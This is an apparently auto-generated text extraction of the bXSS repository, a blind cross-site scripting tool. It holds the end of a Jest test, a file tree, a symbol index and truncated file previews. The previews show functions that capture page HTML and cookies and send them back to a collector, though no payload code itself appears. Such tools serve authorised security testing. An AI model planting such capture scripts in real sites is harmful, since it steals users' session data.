args[args.length - 1](null, data.byteLength, data)
});
});
afterEach(() => {
readFileMock.mockRestore();
appendFileMock.mockRestore();
});
it('should save domain to file as it does not currently exist inside urls.txt', () => {
save.saveDomain(domain);
expect(appendFileMock).toHaveBeenCalled();
});
it('should not save domain to file as it currently exist inside urls.txt', () => {
save.saveDomain(domain);
expect(appendFileMock).not.toHaveBeenCalled();
});
});
describe('saveTodaysDate', () => {
it("should save today's date in a text file", () => {
const writeFileSyncMock = jest.spyOn(fs, 'writeFileSync');
writeFileSyncMock.mockImplementation(() => {});
save.saveTodaysDate();
expect(writeFileSyncMock.mock.calls[0][1]).toBe(today);
expect(writeFileSyncMock).toHaveBeenCalled();
writeFileSyncMock.mockRestore();
});
});
})
gitextract_pyrveit8/
├── .dockerignore
├── .github/
│ └── workflows/
│ └── codeql-analysis.yml
├── .gitignore
├── LICENSE
├── README.md
├── app.js
├── package.json
├── server/
│ ├── config/
│ │ ├── configExample.js
│ │ ├── express.js
│ │ └── routes.js
│ ├── controllers/
│ │ └── xss.js
│ └── utilities/
│ ├── config.js
│ ├── domain.js
│ ├── payloads.js
│ ├── save.js
│ ├── services/
│ │ ├── discord.js
│ │ ├── email.js
│ │ ├── github.js
│ │ ├── slack.js
│ │ ├── sms.js
│ │ ├── spark.js
│ │ └── twitter.js
│ └── templates/
│ ├── markdown.js
│ └── script.js
└── tests/
└── __tests__/
├── services/
│ └── sms.unit.test.js
└── utilities/
├── config.unit.test.js
├── domain.unit.test.js
├── payload.unit.test.js
└── save.unit.test.js
SYMBOL INDEX (24 symbols across 6 files)
FILE: server/controllers/xss.js
constant URL (line 7) | const URL = require('url');
function reportToUtilities (line 21) | function reportToUtilities(guid, domain, config) {
FILE: server/utilities/config.js
function resolveTypePredicates (line 17) | function resolveTypePredicates(types) {
FILE: server/utilities/domain.js
class Domain (line 4) | class Domain {
method constructor (line 5) | constructor(config = {}) {
method from (line 11) | static from(data, config = {}) {
method fromArray (line 21) | static fromArray(arr = [], config = {}) {
method fromPayload (line 29) | static fromPayload(payload, config = {}) {
method get (line 33) | get(_, prop) {
method set (line 43) | set(_, prop, value) {
method html (line 56) | html() {
method processHTML (line 59) | processHTML(html) {
method setInnerHTML (line 68) | setInnerHTML(html) {
method setOpenerInnerHTML (line 71) | setOpenerInnerHTML(html) {
method setPayload (line 74) | setPayload(payload) {
method setHasSecurityTxt (line 87) | setHasSecurityTxt(securityTxt) {
method [Symbol.iterator] (line 52) | [Symbol.iterator]() {
FILE: server/utilities/services/discord.js
function sendMessage (line 4) | function sendMessage(guid, domain, config, bot) {
FILE: server/utilities/services/email.js
function mailOptions (line 5) | function mailOptions(config, mail, guid, domain, message) {
FILE: server/utilities/templates/script.js
function determineInstrusive (line 5) | function determineInstrusive(config) {
function captureParentNodes (line 22) | function captureParentNodes(config) {
function checkForSecurityTxt (line 59) | function checkForSecurityTxt() {
function sendXhr (line 84) | function sendXhr(config) {
function captureInformation (line 125) | function captureInformation(capture) {
Condensed preview — 29 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (75K chars).
[
{
"path": ".dockerignore",
"chars": 98,
"preview": "node_modules\nserver/config/configExample.js\nserver/config/site.conf\nfound/\ncerts/\n.idea/\ntest.html"
},
{
"path": ".github/workflows/codeql-analysis.yml",
"chars": 2440,
"preview": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# Y"
},
{
"path": ".gitignore",
"chars": 102,
"preview": "node_modules\nserver/config/config.js\nserver/config/site.conf\nfound/\ncerts/\n.idea/\ntest.html\nDockerfile"
},
{
"path": "LICENSE",
"chars": 1069,
"preview": "MIT License\n\nCopyright (c) 2018 Lewis Ardern\n\nPermission is hereby granted, free of charge, to any person obtaining a co"
},
{
"path": "README.md",
"chars": 6561,
"preview": "# [bXSS](https://github.com/LewisArdern/bXSS)\n\n<!-- prettier-ignore-start -->\n<a href=\"https://codeclimate.com/github/Le"
},
{
"path": "app.js",
"chars": 1653,
"preview": "process.env.NODE_PATH = __dirname;\nrequire('module').Module._initPaths();\n\n//\nconst express = require('express');\nconst "
},
{
"path": "package.json",
"chars": 2170,
"preview": "{\n \"name\": \"bXSS\",\n \"version\": \"1.0.0\",\n \"description\": \"bXSS is a simple Blind XSS application adapted from https://"
},
{
"path": "server/config/configExample.js",
"chars": 2806,
"preview": "const config = {};\n\nconfig.twilio = {};\nconfig.gmail = {};\nconfig.slack = {};\nconfig.letsEncrypt = {};\nconfig.ciscoSpark"
},
{
"path": "server/config/express.js",
"chars": 572,
"preview": "const bodyParser = require('body-parser');\nconst helmet = require('helmet');\nconst config = require('../utilities/config"
},
{
"path": "server/config/routes.js",
"chars": 574,
"preview": "const xss = require('../controllers/xss');\n\nmodule.exports = app => {\n // Whenever _ body is sent via /m/ POST it will "
},
{
"path": "server/controllers/xss.js",
"chars": 1884,
"preview": "const uuid = require('uuid/v1');\n\nconst config = require('server/utilities/config');\nconst template = require('server/ut"
},
{
"path": "server/utilities/config.js",
"chars": 2082,
"preview": "/* eslint valid-typeof: \"off\" */\nconst assert = require('assert');\n\nlet config = {};\ntry {\n config = require('server/co"
},
{
"path": "server/utilities/domain.js",
"chars": 3078,
"preview": "const validator = require('validator');\nconst payloads = require('./payloads');\n\nclass Domain {\n constructor(config = {"
},
{
"path": "server/utilities/payloads.js",
"chars": 8882,
"preview": "const jsdom = require('jsdom');\n\nconst { JSDOM } = jsdom;\n\nexports.generatePayloads = config =>\n this.payloadList(confi"
},
{
"path": "server/utilities/save.js",
"chars": 1508,
"preview": "const path = require('path');\nconst fs = require('fs');\nconst moment = require('moment');\n\nconst dir = path.normalize(`$"
},
{
"path": "server/utilities/services/discord.js",
"chars": 845,
"preview": "const Discord = require('discord.js');\nconst markdown = require('../templates/markdown');\n\nfunction sendMessage(guid, do"
},
{
"path": "server/utilities/services/email.js",
"chars": 1692,
"preview": "const nodemailer = require('nodemailer');\nconst nodemailerMarkdown = require('nodemailer-markdown').markdown;\nconst temp"
},
{
"path": "server/utilities/services/github.js",
"chars": 796,
"preview": "const github = require('octonode');\nconst template = require('../templates/markdown');\n\nexports.send = (guid, domain, co"
},
{
"path": "server/utilities/services/slack.js",
"chars": 920,
"preview": "const Slack = require('slack');\nconst template = require('../templates/markdown');\n\nexports.send = (guid, domain, config"
},
{
"path": "server/utilities/services/sms.js",
"chars": 1311,
"preview": "const Twilio = require('twilio');\nconst moment = require('moment');\nconst fs = require('fs');\nconst save = require('../s"
},
{
"path": "server/utilities/services/spark.js",
"chars": 896,
"preview": "const ciscospark = require('ciscospark');\nconst template = require('../templates/markdown');\n\nexports.send = (guid, doma"
},
{
"path": "server/utilities/services/twitter.js",
"chars": 999,
"preview": "const Twitter = require('twitter-lite');\n\nexports.send = (guid, domain, config) => {\n if (\n !config.isValid([\n "
},
{
"path": "server/utilities/templates/markdown.js",
"chars": 8239,
"preview": "const path = require('path');\n\nconst dir = path.normalize(`${__dirname}/../../found/`);\n\n// Full Markdown For Email Repo"
},
{
"path": "server/utilities/templates/script.js",
"chars": 6263,
"preview": "// As some companies might not want all of their innerHTML/Cookies to be leaked to a third-party\n// This acts as a barri"
},
{
"path": "tests/__tests__/services/sms.unit.test.js",
"chars": 903,
"preview": "/* eslint-disable global-require */\nconst sms = require('server/utilities/services/sms');\n\ndescribe('lastSms', () => {\n "
},
{
"path": "tests/__tests__/utilities/config.unit.test.js",
"chars": 2365,
"preview": "const config = require('server/utilities/config');\n\ndescribe('utilities.config', () => {\n beforeEach(() => {\n config"
},
{
"path": "tests/__tests__/utilities/domain.unit.test.js",
"chars": 8326,
"preview": "const Domain = require('server/utilities/domain');\n\ndescribe('utilities.domain', () => {\n describe('fromPayload', () =>"
},
{
"path": "tests/__tests__/utilities/payload.unit.test.js",
"chars": 144,
"preview": "// const Domain = require('server/utilities/domain');\n\ndescribe('processPayload', () => {\n it('todo', () => {\n expec"
},
{
"path": "tests/__tests__/utilities/save.unit.test.js",
"chars": 1630,
"preview": "const fs = require('fs');\n\nconst Domain = require('server/utilities/domain');\nconst save = require('server/utilities/sav"
}
]
About this extraction
This page contains the full source code of the LewisArdern/bXSS GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 29 files (69.1 KB), approximately 19.9k tokens, and a symbol index with 24 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.